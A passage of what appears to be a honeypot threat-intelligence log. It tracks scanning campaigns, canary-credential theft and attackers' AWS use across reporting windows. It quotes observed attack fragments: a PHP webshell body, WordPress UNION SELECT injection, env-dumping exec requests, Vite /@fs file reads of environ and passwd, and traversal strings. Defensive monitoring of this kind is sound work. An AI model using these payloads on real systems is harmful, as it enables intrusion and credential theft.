№60: FIRST ABSENCE after five consecutive windows — no WebSiphon/next-0.1 event on any sensor; standing-paused, not retired (check a return before any retirement call). №59: FIFTH generation — four fresh IPs at a uniform 587 ev / 587 paths each (669−82, template trimmed) on FOUR FIRST-TIME nodes: 147.224.212.88 control 17:19 UTC, 163.192.211.99 lauterbourg 20:40, 163.192.109.234 sponge 20:44, 147.224.133.69 farm 22:08 (1 mint at /.env); wordlist added a source-archive generation (site.yml, COPYING, next.config.js, repository.zip, source.zip, website.zip — the lauterbourg first-seen set); owns control's fake-git-error 47× (290) + backup-archive-error 21× (21) and farm's backup-archive 6.1× (21) spikes; honest WebSiphon/next-0.1 UA. 15 operator IPs over 5 windows. №58: FOUR fresh Oracle-US IPs, uniform 669 ev / 669 paths each across 4 sensors (164.152.24.126 ru-edge 19:25, 170.9.228.116 netcup 20:24, 163.192.198.182 frantech 21:52, 147.224.178.252 aidev 22:02 UTC-4), ~5 s bursts; template GREW +35 GPU-cloud paths (crusoe/cudo/runpod/koyeb/paperspace/vultr/replicate/akamai env variants — the ru-edge first-seen set); 2 mints (.126 ru-edge, .252 aidev). №57: TEMPLATE SCALED — 6 operator IPs / 4 sensors / 3 Oracle-US blocks in one window: 163.192.195.37 control 800 ev / 669 paths / 52 fams in 12 s (1 mint), 64.181.210.1 lauterbourg 564 ev / 463 paths in 1.4 s, 147.224.164.154 control 378 ev / 71 fams in 3 s, 149.130.220.90 control + 147.224.209.232 farm (identical 157 ev / 69 paths, 1 mint each), 163.192.221.136 sponge 151 ev. Owns control's app-config-yaml 9.8× + config-json-error spikes and lauterbourg's busiest hour. 3 mints; no AWS use of them observed in-window. №56: no second IP or node — but its AWS-side user 185.209.196.169 MINTED 1 on ru-edge (05:00 UTC 10-19): a use-side host joined the mint side. ⚠ №55 NEW: 147.224.147.131 (Oracle US) ru-edge-1 380 ev / 292 paths / 71 families in 7.3 s (12:36:43 EDT) under honest UA WebSiphon/next-0.1 — second-largest family count on record (OMEGA's 107). /.env issued first, then /.env.* variants + config/secrets/terraform/k8s/aws census; 1 mint. Its 2 credentials were used from 185.209.196.169 (Boto3/1.43.108 Linux 5.15.0 + python-urllib3/2.7.0): GetCallerIdentity + SSM GetParameter, EC2 DescribeVpcs/DescribeImages/DescribeCapacityBlockOfferings, ServiceQuotas reads, and DENIED ec2:RunInstances + ec2:PurchaseCapacityBlock — the first provisioning-shaped calls in fleet history. Use-side /24 overlaps MEGA-DICT's 185.209.196.x hosts (lineage note only).
flowchart LR
    W["147.224.147.131 Oracle US<br/>WebSiphon/next-0.1"] --> C["ru-edge census<br/>292 paths / 71 fams in 7 s"]
    C --> M["/.env issued"]
    M --> U["185.209.196.169 Boto3<br/>GetCallerIdentity + inventory"]
    U --> X["DENIED RunInstances +<br/>PurchaseCapacityBlock"]

CVENGINE-KIT idle

№57: absent — first miss after the №56 debut; the relay /24's only window activity was l9explore runner 45.138.12.51's REGISTRY-HUNT legs. ⚠ №56 NEW: 45.138.12.22 + .27 (+ light legs .24, .65) Tc Datacenter LT — sponge-01-ts + netcup-ts relay over ~8 h (.22 16:23–00:28 EDT, .27 21:24–00:08 EDT + netcup 23:14–23:30). 419–513-path census under Chrome/137/128 forgeries PLUS a real exploit battery: wp-batch UNION SELECT SQLi with md5('wp2shell1337') oracle, multipart PHP webshell uploads (CVEngineBoundarycv*.php, <?php system($_GET['c']); ?>), webshell-command action=download_backup, wp-admin-redirect + wp-login-probe legs (owns both nodes' wp spikes: sponge 84/88, netcup 42/44). .27 lineage: KITEWORKS-CRAWL №43 and the l9explore block.
flowchart LR
    T["45.138.12.22 → .27 relay<br/>Tc Datacenter LT"] --> C["census 419–513 paths<br/>Chrome/137 forgery"]
    T --> S["wp-batch UNION SELECT SQLi<br/>md5('wp2shell1337') oracle"]
    T --> W["webshell upload cv*.php<br/>system($_GET['c'])"]
    W --> D["action=download_backup"]

CENSUS-284 idle

№57: absent — both buyers silent in their second window; the shared 284-path artifact's third-buyer question stays open. ⚠ №56 NEW: one identical 284-path config/credential census from two unrelated hosts — 85.239.151.82 (Interserver US) + 93.123.109.228 (Techoff Srv BG): 284/284 path overlap, same forged Chrome/137.0.0.0 Win10 UA, 7 families, GET-only, 0 mints; AI-credential paths (/openai.yml, /google-ai.yml, /vertex-ai-credentials.json, /mcp.yaml, /config/secrets.js, /config/hubspot.yml, /hr/) own sponge's openapi-spec-json-skeleton 25× spike (16 hits each). Marketplace wordlist model like MEGA-DICT, but for config census.
flowchart LR
    A["85.239.151.82 Interserver US"] --> W["284-path AI-credential census<br/>Chrome/137 forgery"]
    B["93.123.109.228 Techoff BG"] --> W
    W --> O["openapi-spec skeletons 200<br/>sponge spike 25×"]
    W --> N["0 mints — GET-only"]

KEYDROP-SCANS active

№63: RETURNED — 172.235.210.84 minted 1 on ai-devbox-1 (00:50 UTC) with the same 2-event walk; third IP rotation on record. №59: RETURNED after two idle windows as a NEW IP pair — 172.239.10.144 (2 mints: ru-edge + farm, 1 more 400-failed on control) + 172.233.224.159 (1 mint: aidev), each 8 ev / 4 sensors / the same 2-event walk (/.env + /.git/config), 12:01–20:39 UTC. №56: FIRST MISS after promotion — no sightings; its pre-window mints (last 11:29 EDT 10-17) aged out of the canary window. №55 PROMOTED from №54 watch: UA 'Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);' — 104.64.127.170 minted on ru-edge-1 + control-1 + canary-farm-1 and 172.105.54.41 on ai-devbox-1 (4 mints, 07:08–13:04 EDT); uniform 2-event walk per sensor (/.env + /.git/config); the pair touched all 8 sensors. Onlyscans-branded banner scanner now collecting credentials.
flowchart LR
    K["104.64.127.170 + 172.105.54.41<br/>Keydrop.io/1.0 UA"] --> E["/.env issued<br/>4 canary sensors"]
    K --> G["/.git/config<br/>fake-git"]

GOWEB-PENTEST active

№69: 25th–27th operators, NEW one-per-sensor shape — 14.225.220.240 (VNPT VN) netcup-ts 17:44, 217.160.35.149 (IONOS DE) aidev 13:19, 51.83.72.125 (OVH FR) control 00:23 — each 151 phpmyadmin-login on 1 path in under 70 s under `Go Web Pentest Tool`; owns netcup's 68.0x spike. Fourth IP 103.13.207.81 (Go-http-client/1.1) minted on control 16:08 then ran 4 phpmyadmin-login 16:09–16:10. №63: FIRST SAME-WINDOW PAIR — 36.99.60.192 + 191.102.244.103, each 151 phpmyadmin-login POSTs on 1 path on sponge-01-ts (both first-time operator IPs; the pair IS the node's 7.3x spike core). №59: 23rd operator — 193.194.91.148 netcup-ts 151 phpmyadmin-login GETs on 1 path (first netcup appearance; owns the node's phpmyadmin-login 68.4× spike core with l9explore's 3). №57: 21st + 22nd operator IPs — 152.136.33.217 (sponge) + 200.4.96.35 (aidev), 151 phpmyadmin-login GETs each, GET-only, 0 mints; the two runs own both nodes' phpmyadmin spikes' cores. №56: two operator windows in one cycle, both on control-1 — 133.18.142.12 ran 151 phpmyadmin-login GETs on /db/index.php, 177.124.93.52 ran 151 on /mysql-admin/index.php; GET-only, 0 POSTs; with EMPERORS-KIT's 22 GETs they own control's phpmyadmin-login 3.0× spike. №55: EIGHTEENTH window — 198.100.154.28 (OVH SAS CA) frantech-ts 151 phpmyadmin-login GETs on /mysql/webdb/index.php in 13 s (00:26 EDT), GET-only, 0 POSTs — first frantech appearance; owns the node's phpmyadmin-login 6.3× spike. №54: SEVENTEENTH window — 190.93.152.243 (Colombia CO) canary-farm-1 151 phpmyadmin-login GETs on /db/webdb/index.php in ~1 min (18:50 EDT) + 2 not-handled singles (/phppma, /sql/myadmin); №53's operator absent. №53: SIXTEENTH window, NEW operator — 169.58.99.248 (Contabo GmbH FR) canary-farm-1 151 phpmyadmin-login GETs on /phpMyAdmin-5.2/index.php in ~1 min (01:05 EDT); №52's three operators absent. №52: THIRTEENTH–FIFTEENTH windows — THREE new operators in one cycle: 34.211.136.159 (AWS US) lauterbourg 151 phpmyadmin-login GETs / 1 path in 28 s (23:23 EDT), 185.205.222.77 (PT Industri Kreatif Digital ID) lauterbourg 151 / 1 (17:52 EDT), 185.47.64.239 (Nowatel Sp. z o.o., PL) ai-devbox-1 151 / 1 in 28 s (23:23 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs; 17 operator IPs / 12 windows. №51: TENTH–ELEVENTH windows, both on lauterbourg — 172.104.173.62 (Linode/Akamai SG) RETURNED, the campaign's first repeat operator (151 GETs / 1 path in 49 s, 04:52 EDT) + NEW 148.72.159.98 (151 / 1 in 16 s, 18:47 EDT). №50: SEVENTH–NINTH windows — three more new operator/node pairs: 103.242.78.199 (Universitas Muhammadiyah Jember, ID) hit canary-farm-1 with 151 phpmyadmin-login GETs on 1 path in 39 s (09:32 EDT); 188.166.218.48 (DigitalOcean SG) hit control-1, 151 GETs / 1 path in 22 s (13:54 EDT); 172.104.173.62 (Linode SG) hit lauterbourg-01-ts, 151 GETs / 1 path in 49 s (04:52 EDT). Nine windows, nine operators, nine nodes, nine ASNs — all `Go Web Pentest Tool`, GET-only, 0 POSTs. №49: FOURTH–SIXTH windows in ONE cycle — three NEW operators, three NEW nodes: 58.84.1.216 (VNG VN) hammered sponge-01-ts 181 phpmyadmin-login GETs / 1 path in 39 s (09:50 EDT); 139.59.74.7 (DigitalOcean IN) hit control-1 151 GETs / 1 path in 11 s (19:32 EDT); 27.147.153.210 (Link3 BD) hit canary-farm-1 151 GETs / 1 path in 29 s (15:32 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs — six windows, six operators, six nodes, six ASNs; a captured credential body is still unseen. №48: THIRD window — 109.123.251.103 (same /16 as canary-farm-1's public IP) ran 181 phpmyadmin-login GETs on 1 path in 1.1 s on lauterbourg (07:37 EDT 10-10), 0 POSTs. Three operators, three nodes, three ASNs — the commodity-tool read is solid. ⚠ NEW №47: promoted from the №46 watch single on the second window / node / operator — honest self-labeled UA `Go Web Pentest Tool`. №46: 158.178.159.133 (Oracle NL) POST-flooded /mysql/dbadmin/index.php on frantech 181× in 26 s. №47: 167.86.124.4 (Contabo FR) hammered phpmyadmin login paths on ai-devbox-1 — 183 ev / 3 paths / 181 phpmyadmin-login GETs in 1 min (17:57 UTC 10-09), 0 POSTs. Watch: a third operator IP or any captured credential body.
flowchart LR
    GWT["Go Web Pentest Tool<br/>self-labeled UA"] --> PMA["phpMyAdmin login hammer<br/>~181 events / pass"]
    PMA --> ROT["IP + verb rotation<br/>POST → GET, node per window"]

AKAMAI-VHOST-SCAN idle

№50: FIRST ABSENCE — 172.234.162.31 and the Akamai DE class out; the kiteworks vhost instead carried REGISTRY-HUNT l9scan legs (206.81.12.187, 165.22.235.3, 167.99.182.39; 40 ev each) and a Google-hosted bare-Chrome crawler (104.199.36.53, 117 + 25 ev). ⚠ NEW №49 — promoted on the second window: lauterbourg vhost + admin-surface census class under Akamai Connected Cloud egress. 172.234.162.31 (FR) returned 05:22 EDT 10-11: 231 ev / 194 paths / 29 families in a ~1-min pass — kiteworks-root-redirect → /login [kiteworks-shell] → citrix rdx lang fetch → nmaplowercheck → /cgi-mod/header_logo.cgi → /sdk (1 POST, 441 B, body not captured) → /health → coldfusion CFIDE → singles for fortigate, ivanti, exchange OWA, cisco webvpn, geoserver, nextjs, openapi, ollama-version. Class history: 172.104.241.92 + 172.105.76.7 (Akamai DE, №46–№47 third windows on lauterbourg). Three IPs, one node, browser+forged UA rotation, 0 mints across the class.
flowchart LR
    A["Akamai egress IPs ×3<br/>FR + DE classes"] --> K["kiteworks-root-redirect<br/>→ /login"]
    K --> S["admin-surface singles:<br/>citrix · CFIDE · fortigate ·<br/>ivanti · OWA · webvpn"]
    S --- P["1 POST /sdk · 441 B<br/>body not captured"]

ATLASSIAN-REST-PROBE active

№55: SECOND CONSECUTIVE WINDOW on lauterbourg — cluster b3c6048a4870 again 7 IPs / 280 ev; the /rest/api/2/serverInfo stage is STILL absent (0 hits in the window). Moderate attribution stands. №54: RETURNED on lauterbourg after five idle windows — digest cluster b3c6048a4870 (7 IPs / 280 ev, signature first seen 10-10): kiteworks-root-redirect → weblogic-console-login → /download/resources/jira.webresources:color-picker-popup/…/..::×5::META-INF::maven::com.atlassian.jira archive traversal; the /rest/api/2/serverInfo stage absent from the sample; REGISTRY-HUNT runner overlap (159.89.174.87, 147.182.200.94, 167.172.158.128, 128.199.182.55 all minted elsewhere this window). №49: FIRST ABSENCE — 87.120.204.145, the lighter runners, and signature 9609f17ada17 all absent; watch a second window to separate one-shot recon from a standing cadence. ⚠ NEW №48 — fleet-wide Confluence/Atlassian REST discovery, signature 9609f17ada17 (9 IPs / 216 ev / 7 sensors, first seen 10-11): /rest/api/2/serverInfo, /rest/api/serverInformation, /rest/api/latest/server, /status. Primary operator 87.120.204.145 (G-Core Labs) hammered both EU nodes (694 ev each, 331 paths, 8-UA modern rotation, 0 mints) incl. an 8-level archive traversal /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/…/..::×8::META-INF (№47's REGISTRY-HUNT Jira traversal used 5 levels). Lighter same-UA-set runners 45.207.159.88 + 2407:cdc0:f004:785e:e5d4:8ffa:4068:2bcb ran 7 min before .145's EU pass; single touches from 172.234.162.31, 139.162.33.108.
flowchart LR
    R["REST serverInfo census<br/>/rest/api/2/serverInfo<br/>+ /status variants"] --> H["87.120.204.145 hammer<br/>694 ev/EU node · 8 UAs"]
    H --> T["8-level ..:: archive traversal<br/>Confluence plugins"]
    R --- L["9-IP fleet-wide wave<br/>0 mints"]

CF-FRONTED CREDSWEEP new

№37: first-seen Cloudflare-fronted ai-devbox credential census over inference.fapthropic.com — 54 Cloudflare edge IPs, 7,245 HTTPS events, 289 paths, 83 result families, and 76 /.env mints. Origin hidden by Cloudflare; all rows use socket peer 172.18.0.1 with no XFF mismatch. Watch the minted credentials for AWS use.
flowchart LR
    EDGE["Cloudflare edge IPs<br/>54 in window"] --> HOST["ai-devbox-1 HTTPS<br/>inference.fapthropic.com"]
    HOST --> CENSUS["Credential census<br/>289 paths · 83 families"]
    CENSUS --> MINT["76 /.env mints"]
    MINT --> WATCH["AWS-use watch"]

CREDENTIAL-DRAIN active

№69: FIRST FULL AWS WORK-SESSION — 43 creds to 28 collectors (digest issued 50: farm 25, aidev 12, control 8, ru-edge 5), 2 used: 217.60.76.22 (RECONX-L2S, new campaign) ran a 15-operation read-only enumeration (DescribeDBInstances/Instances, GetRole/GetUser/GetCallerIdentity, ListAccessKeys/Buckets/Secrets/Subscriptions/Tables/Topics/Users/FoundationModels, GetSendQuota, LookupEvents) — 31 denied + 2 GetCallerIdentity successes, the widest AWS-side use observed; 20.51.189.99 ran GetCallerIdentity success on its 09:25 aidev mint. REGISTRY-HUNT's 7 l9scan mints stayed idle. №68: SECOND USE WINDOW — 45 creds to 26 collectors (funnel; digest issued 48: farm 31, aidev 7, control 7, ru-edge 3), 2 used: 165.227.84.14 (REGISTRY-HUNT walker, l9scan UA) used 1 minted SSH canary to attempt a login — the pipeline's first SSH-side use — and 52.161.59.96 ran sts:GetCallerIdentity SUCCESS with no flux mints in the history window (Tracebit-only witness, outside flux logs); 43 idle; failures 13×400 pacing singles (aidev 7, control 5, farm 1); farm mint leader 45.148.10.120 9 (12/6d); l9scan-UA walker mints 20:57–21:21 stored on farm + ru-edge. №67: FIRST USE IN SIX — 51 creds to 30 collectors, 8 used by 5 REGISTRY-HUNT use IPs (2× 14-op SES/Bedrock enum, 4× GetCallerIdentity only), 43 idle; failures 25×400 pacing singles (12 IPs/4 sensors); TechTies 1,088/6d static, second idle window. №66: FIFTH zero-use in six — 101 creds to 38 collectors, 0 AWS use; new joint-record pile 34.95.21.228 (41, one burst); TechTies 1,089/6d static; failures only 5×400 pacing singles + 1 untagged. №65: FOURTH zero-use cycle in five — 454 creds to 27 collectors, 0 AWS use; TechTies 364 (1,091/6d, record), SI-CENSUS 57 (66/6d), ADMINER pool 6; mint failures 56×400 (TechTies pacing, rest scattered singles). №64: MINT EXPLOSION — 789 creds to 27 collectors, zero AWS use; TechTies 714 (single-window and single-IP fleet record, prior record 41), AI-EXEC-HUNT 41 (ties its own), Feo Prest .154 resumed (2, 18/6d); hoards: TechTies 727/6d, 136.66.182.42 41, 136.65.203.248 41, 213.209.159.175 28, 37.60.226.187 16. №63: ZERO-USE window — 50 creds minted to 28 collectors, none reached AWS in the Tracebit pull; hoards keep growing (136.66.182.42 41 + 34.58.160.181 41 = AI-EXEC-HUNT's 82, 213.209.159.175 30 + .154 18, 37.60.226.187 17, 93.152.221.96 12 since 10-21, 208.84.100.218 6). №62: USE WINDOW — 44 creds to 27 collectors (100 digest issued rows: farm 62, aidev 17, control 13, ru-edge 8), ZERO mint failures; 2 credentials ran 672 AWS events from 1 use IP, 95.111.225.106: 660 DENIED — ssm:GetParameter ×390, ec2:DescribeVpcs ×130, ec2:DescribeImages ×130, ec2:ListRegions ×4, ec2:RunInstances ×4 (second provisioning-shaped denial after WEBSIPHON №55) — plus 12 sts:GetCallerIdentity SUCCESS; mint side ties the same IP (1 farm mint 07:37 10-24, same-window mint→use arc); the second used credential's mint row is not in the pull. №61: ZERO-USE STREAK BROKE — 92 credentials to 34 collectors (96 digest issued rows: farm 63, aidev 17, control 11, ru-edge 5); 2 used, both sts:GetCallerIdentity SUCCESS from 137.23.38.53's hoard (the SES-QUOTA-PROBE mint side, 4 mints since 10-17, 1 use IP); AI-EXEC-HUNT return haul 41 (ties record); failures 21×400 + 1 tracebit-error 404 (167.71.175.236 aidev — class's second window). №60: SECOND consecutive zero-use window — 33 Tracebit credentials to 19 collectors, 0 AWS use; NEW failure class: 2 `tracebit-error` rows on aidev (tracebitStatus NULL, error 'coalesced issuance returned no credential') beside 45×400; 45.148.10.125 minted on all four canary sensors in one 01:44 pass. №59: FIRST ZERO-USE WINDOW since №18 (2026-09-12) — 54 Tracebit credentials to 26 collectors (70 digest issued rows), 0 AWS use events; 48×400 mint failures across 31 collector IPs (burst-pacing class, no 401s); 45.148.10.171 27th consecutive minting window (34/6d); 213.209.159.175 28/6d (8 in-window); 37.60.226.187 17/6d (5 in-window); 34.58.160.181's 41-hoard zero use at +72 h. №58: 63 credentials to 36 collectors (72 digest issued rows, 18 failures — 17×400 + 1 empty); 2 OLDER credentials used by NEW use IP 156.225.26.90 (17 events: ListFoundationModels ×10 denied, GetAccountSummary, DescribeRegions, ListBuckets, ListCustomModels denied, GetCallerIdentity success) — the same IP ran /@fs/proc/self/environ ×4 + /@fs/app/.env + /@fs/app/package.json on farm+aidev at 02:18–02:22 UTC-4, the first direct use-side↔METADATA-HUNT-marker link. AI-EXEC-HUNT's 41-credential hoard: zero use at +24 h. №57: 75 credentials to 19 collectors (82 digest issued rows); 2 used — both by 137.23.38.53, now SES-QUOTA-PROBE (84 events: GetSendQuota ×72 denied + GetUser ×6 denied + GetCallerIdentity successes). Largest new hoard: 34.58.160.181's 41 (AI-EXEC-HUNT, 0 use at window close). 45.148.10.171 44/6d (25th window); 213.209.159.175 18/6d; Feo Prest .154 spread to 4 sensors. 36×400 mint failures (aidev 12, farm 13, control 7, ru-edge 4). №56: 46 credentials to 30 collectors; 10 used (81 events, 42 successes — all sts:GetCallerIdentity — 39 denied). 137.23.38.53 self-validated its farm canary again (third window). NEW use IP 85.121.176.200 (1 aidev credential, GetCallerIdentity only). №55's 23-op sweep kept working 7 l9scan hoards past the flux cutoff (outside-window rows). No success beyond GetCallerIdentity; no provisioning attempts this window. №55: ESCALATION — 18 Tracebit alerts, 2,227 use events across 11 credentials; mint side 45 credentials to 33 collectors. THREE use IPs: 168.222.244.156 ran the 23-op AWS inventory sweep (EC2/RDS/KMS/Secrets/SSM/CodePipeline/Lambda/CloudFormation/CodeBuild + GetCallerIdentity) with Boto3/1.43.114 (Linux) against 7 REGISTRY-HUNT/LeakIX runners' canaries (~289 events each); 185.209.196.169 used WebSiphon's 2 ru-edge canaries (Boto3/1.43.108) incl. DENIED ec2:RunInstances + ec2:PurchaseCapacityBlock — first provisioning-shaped calls; 137.23.38.53 self-validated 2 canaries (Python-urllib/3.14). 1,051 GetCallerIdentity successes; 1,176 denied operations. №54: USE RETURNED after three zero windows (streak broke at 189) — 55 credentials to 37 collectors; 209.99.188.170 validated its own /.aws/credentials mint on ai-devbox-1 (issued 06:25:15Z) with sts:GetCallerIdentity ✓ at 08:55:32Z (2 h 30 m later), same-IP, UA kingfisher-scanner/1.2.0 + Chrome/140 — first sighting of this validator; 1 success, 0 denied ops. Sibling 209.99.189.217 minted 2 (pair 287 ev all-time). Hoards: 45.148.10.171 48/6d (22nd window), 35.253.66.111 41, 34.124.231.201 40. Mint failures 14×400. №53: THIRD consecutive zero-use window — 38 credentials to 27 collectors, 0 AWS events; streak 189 since the last use. 45.148.10.171 21st consecutive minting window (5 creds / 8 issued rows, 48/6d). 13 first-window collectors incl. 102.220.163.155 (3 nodes), the 195.177.94.x pair, 93.123.109.226 (2). №52: 49 credentials to 25 collectors, 0 AWS use — second consecutive zero-use window. NEW top collector 194.59.31.39 (8 mints, aidev, slow 6-h config census, bare-Chrome + Chrome/124); 79.124.58.82 3 mints (OMEGA escape); 45.148.10.171 9 mints (50/6d, 20th window). №51: ZERO USE — 102 creds to 26 collectors, none reached AWS (first zero-use window after №50's record. Record single-IP mint 41: METADATA-HUNT's 35.253.66.111. Hoards: 45.148.10.171 51/6d 19th consecutive window, 87.120.104.29 18/6d, 35.253.66.111 41 fresh. Sole mint failure: transient Connection reset to community.tracebit.com on ru-edge). №50: THIRD use window and a record — 80 creds to 32 collectors, 5 used, 28 events (6× sts:GetCallerIdentity ✓; 22 denied incl. GetServiceQuota ×8, DescribeInstances ×4, DescribeRegions ×4, DescribeInstanceTypes ×2, ListNotebookInstances ×2). NEW synchronized dual-collector mint→use pair: 169.58.180.111 (Contabo FR) and IPv6 2a02:c207:2350:9697::1 (Contabo) both began minting 08:22 EDT 10-12 on ai-devbox-1 + canary-farm-1 (9 + 11 mints) and each self-used 2 credentials from 1 IP — EC2 enumeration classes; the IPv6 pair is the funnel's first IPv6 collector. 131.193.125.163 (University of Illinois at Chicago, outside the flux window — Tracebit the only witness) used 1 credential for GetCallerIdentity ✓. 0 mint failures, third clean window. Hoards: 45.148.10.171 45/6d (18th minting window), 34.124.231.201 40/6d, 102.220.161.102 27/6d, 80.94.92.65 15/6d, 208.84.100.218 10/6d. №49: SECOND consecutive use window, NEW SHAPE — 41 creds to 29 collectors, 2 used, 7 events: 4× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 ✗ + ListBuckets ×1 ✗ (all recurring classes). FIRST single-credential multi-egress use: Bucklog 185.177.72.64 minted 2 on control (23:36 EDT 10-11, Firefox/5.0 forgery) and 1 credential ran 5 ops (GetCallerIdentity ×3 ✓ + ListFoundationModels ×2 ✗) from 4 distinct AWS-side IPs. 72.251.220.23 (curl/8.7.1, aidev mint 08:43 EDT) self-used from 1 IP (GetCallerIdentity ✓ + ListBuckets ✗). 0 mint failures, second clean window. Hoards: 45.148.10.171 43/6d (17th window), 34.124.231.201 40/6d (absent), 80.94.92.65 19/6d. №48: USE RETURNED after two zero windows — 2 credentials / 3 events, all sts:GetCallerIdentity ✓, BOTH same-IP mint-and-use: 209.97.180.8 (REGISTRY-HUNT runner; minted ru-edge, used same IP) and 128.199.182.55 (minted farm 10-08, used now); 53 creds to 30 collectors, 0 mint failures; hoards .171 45/6d (16th window), 34.124.231.201 40/6d, 209.159.155.142 12 (new entrant). №47: SECOND zero-use window — 84 creds to 33 collectors, 0 alerts / 0 successes; mint failures 17×400; record single-IP mint 40 (METADATA-HUNT 34.124.231.201); hoards 45.148.10.171 40/6d (15th window), 80.94.92.65 27/6d over 4 sensors, 87.120.104.29 12/6d. №46: ZERO USE — 60 creds to 30 collectors, none reached AWS (first zero-use window since №42). Mint failures RETURNED: 11×400 (farm 4, aidev 3, control 2, ru-edge 2) after five clean windows — scattered singles plus CONFIG-SWEEP's farm burst pair. Top holders: 45.148.10.171 10 mints (41/6d), 150.241.66.127 6 (EMPERORS-KIT), 160.177.245.67 5 (NIGHTAGENT). №45: ELEVENTH use window — 4 credentials / 13 events (7× sts:GetCallerIdentity ✓, 6× ListFoundationModels denied) and ALL FOUR self-used: minted and consumed inside the window. Feo Prest pair FIRST JOINT USE — .154 (1 cred, 4 ops, minted farm 04:55) and .175 (1 cred, 4 ops, minted control 11:02); SS-Net .211 (1 cred, 3 ops, minted aidev 02:50); FIRST-TIME collector 209.99.189.217 self-validated 1 cred (GetCallerIdentity only). 58 creds to 34 collectors, 0 failures (4th straight clean window). Same-session use now 9/9 across №44–№45. №44: TENTH use window — 5 credentials / 78 events (72 denied, 6× sts:GetCallerIdentity ✓). SES enumeration RETURNED via Bucklog 185.177.72.205 (GetSMSAttributes ×34 + GetSendQuota ×34 denied). FIRST same-IP mint-and-use: LeakIX l9scan 157.230.19.140 + 167.99.181.249 validated their own canaries (GetCallerIdentity ✓ + ListBuckets denied) — use IP now equals the mint IP. SS-Net .211: 1 cred / 4 ops. 70 creds to 26 collectors, 0 failures (third window). Hoards: Feo .175 77/6d, .154 38/6d, .171 28/6d. №43: NINTH use window — 1 credential / 4 events (2× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 denied); use side SS-Net .211, which also returned to minting (2 on aidev under an Opera/5.02 forgery) after №42's miss. 56 creds to 41 collectors, 0 failures. Hoards: .175 89/6d, .171 24/6d. №42: EIGHTH consecutive use window — 1 credential used (Feo Prest .175: 2 sts:GetCallerIdentity successes + denied ListFoundationModels ×2 from 4 AWS IPs; mint side control-1). 35 mints to 24 collectors, 0 failures.
flowchart LR
    MINT["/.env mint burst"] --> COLLECT["Collector harvest<br/>.154 · .211 · l9scan .72"]
    COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
    USE --> S1["sts:GetCallerIdentity<br/>✓5"]
    USE --> S2["Denied ops<br/>ListFoundationModels ×4"]
    S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]

NIGHTAGENT idle

№52: absent — seventh consecutive idle window; the unrotated nightagents/nightshell URL still 404s. №46: RETURNED after one absence — NEW operator 160.177.245.67 (ONP MA) ran the FULL kit on both EU nodes in one overlapping session (farm 07:55–09:04 UTC 184 ev, aidev 08:23–08:32 UTC 276 ev): phpunit verify → UNCHANGED nightshell dropper POST (GHSAT token byte-identical; unrotated since first capture) → form login user=root&pass=wrong → wp-batch multiplex + SQLi → 5 mints (aidev 3, farm 2 — the campaign's largest mint haul) + config-bundle census (webapp-config-bundle-js 100 ev). NEW STAGE: tomcat-path-bypass-env ×25 — every one of the tag's fleet events belongs to this IP. №45: FIRST ABSENCE after two .49 windows (0 events; the 105.159.4.244 operator also out). №44: SECOND .49 RUN — 185.213.193.49 ran 3 passes (farm 07:37, aidev 11:32+13:24, farm 17:58 EDT), credential stages only: form login user=root&pass=wrong → wp-batch SQLi (||OK|| probe) → /.env mint ×3 → config-bundle census → phpmyadmin legs → adminer prod_rw POSTs with a FRESH 22-char password per pass (8LB9tLMFj2cQ2llBuH7vPA / Y6kVIvepMM16CeMI-5YwoQ / 1ocYDyySV4cQEz4RIXb7Kg) — the INFOCREST password shape. NO phpunit verify, NO dropper POST. .244 absent. NINTH RUN №43 — RETURNED after 15 idle days: 105.159.4.244 (ONP MA) posted the verbatim verify '<?php echo "NightAgent";?>' AND the UNCHANGED nightagents/nightshell dropper POST (same GHSAT token; repo 404 since 09-24, so the copy() cannot succeed), then form login user=root&pass=wrong + wp-batch SQLi + config-bundle census + 1 mint (farm). Second operator same day: 185.213.193.49 (Zenlayer US) ran the kit minus the phpunit stage — 3 passes across farm+aidev, 3 mints. №28: first mint; dropper URL is unchanged kit, not the registered 'return requires new dropper URL' case.
flowchart LR
    V["phpunit verify<br/>NightAgent echo"] --> D["nightshell dropper POST<br/>unchanged URL + token<br/>(repo 404 — copy fails)"]
    D --> L["form login<br/>user=root&pass=wrong"]
    L --> W["wp-batch SQLi<br/>author_exclude UNION"]
    W --> C["config-bundle census<br/>+ /.env mint"]

METADATA-HUNT idle

№58: FIFTH idle window for named runners — but the marker stage now has a USE-SIDE face: 156.225.26.90 ran /@fs/proc/self/environ ×4 + /@fs/app/.env + /@fs/app/package.json on farm+aidev (bare Mozilla/5.0, 02:18–02:22 UTC-4) and is the same IP Tracebit saw using 2 older credentials in AWS (Bedrock/IAM battery — see CREDENTIAL-DRAIN). №57: FOURTH idle window — no named-runner or marker census; but the toolkit circulated: AI-EXEC-HUNT (№57 NEW) ran the @fs + AI-crawler-UA template with a live exec stage, and Techoff 195.178.110.22 probed /@fs/etc/passwd-class paths on 4 no-canary nodes. Template reuse; operator link unproven. №53: census + marker absent — the 8 in-window @fs events are №52's 05:57–06:00 EDT run riding the +4h ingest cast, verified by timestamp; no repeat. №52: census + mint absent (35.253.66.111 and the named-runner roster 0 ev); marker-only probe — 144.172.64.99 (bare Mozilla/5.0) ran the @fs Vite file-read pair (/@fs/proc/self/environ + /@fs/etc/passwd, vite-fs-* results, 2 each) on both EU nodes. №51: RETURN after three runner-absent windows, NEW runner shape — 35.253.66.111 (GCP US) farm-only burst 650 ev / 310 paths, 10:37:15 EDT onward, ~30 forged AI-crawler UAs (Bravebot, Qwenbot, KimiBot, Claude-User, GrokBot, Applebot forgery…). CODE-EXEC chain captured, all env-harvesting: POST /lib/terminal-xhr.php command=env&password=bypass&csrf=x; /api/v1/validate/code langflow @exec(subprocess… env); /api/fs/exec {"command":"env","args":[]}; php-cgi shell_exec('env 2>/dev/null || set 2>nul'); /read-document {"file_path":".env"}; /api/templates/preview ../../.. traversal; graphql introspection ×3; 41 mints at /.env — the fleet's single-IP mint record. №48: RUNNER ABSENT (one-window return) — the 34.124.231.201 pass re-appears in №48's digest only via the +4 h cast overlap (6 webapp-form-profile rows), not a second run; 40/6d hoard unchanged. №47: RETURNED + MAJOR UPGRADE after 12 